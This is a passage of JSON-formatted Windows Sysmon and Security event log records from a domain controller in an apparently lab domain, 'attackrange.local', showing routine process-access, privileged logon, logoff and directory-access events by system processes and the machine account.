12:00:05.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4245-5F2D-0000-0010C0950900}","TargetProcessId":"4428","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6423,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:05.353\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4245-5F2D-0000-0010A8990900}\r\nTargetProcessId: 4660\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:05.353","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4245-5F2D-0000-0010A8990900}","TargetProcessId":"4660","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6424,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:05.353\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4245-5F2D-0000-0010A8990900}\r\nTargetProcessId: 4660\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:05.353","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4245-5F2D-0000-0010A8990900}","TargetProcessId":"4660","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6425,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:05.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4245-5F2D-0000-0010A8990900}\r\nTargetProcessId: 4660\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:05.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4245-5F2D-0000-0010A8990900}","TargetProcessId":"4660","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222249,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x99EFF\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x99eff","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222250,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x99EFF\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51511\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x99eff","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51511","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222251,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x99EFF\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x99eff","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222252,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x99FDD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x99fdd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222253,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x99FDD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51513\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x99fdd","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51513","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":222254,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x99FDD\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{67212414-7bcc-4609-87e0-088dad8abdee}\r\n\tObject Name:\t\t%{7cbf701a-6317-403e-b33d-357b9aa3d604}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWrite Property\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x20\r\n\tProperties:\t\tWrite Property\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{d6d67084-c720-417d-8647-b696237a114c}\r\n\t{67212414-7bcc-4609-87e0-088dad8abdee}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x99fdd","ObjectServer":"DS","ObjectType":"%{67212414-7bcc-4609-87e0-088dad8abdee}","ObjectName":"%{7cbf701a-6317-403e-b33d-357b9aa3d604}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7685\r\n\t\t\t\t","AccessMask":"0x20","Properties":"%%7685\r\n\t\t{771727b1-31b8-4cdf-ae62-4fe39fadf89e}\r\n\t\t\t{d6d67084-c720-417d-8647-b696237a114c}\r\n\t{67212414-7bcc-4609-87e0-088dad8abdee}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222255,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x99FDD\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x99fdd","LogonType":"3","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222256,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x9A074\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x9a074","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:00:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222257,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon 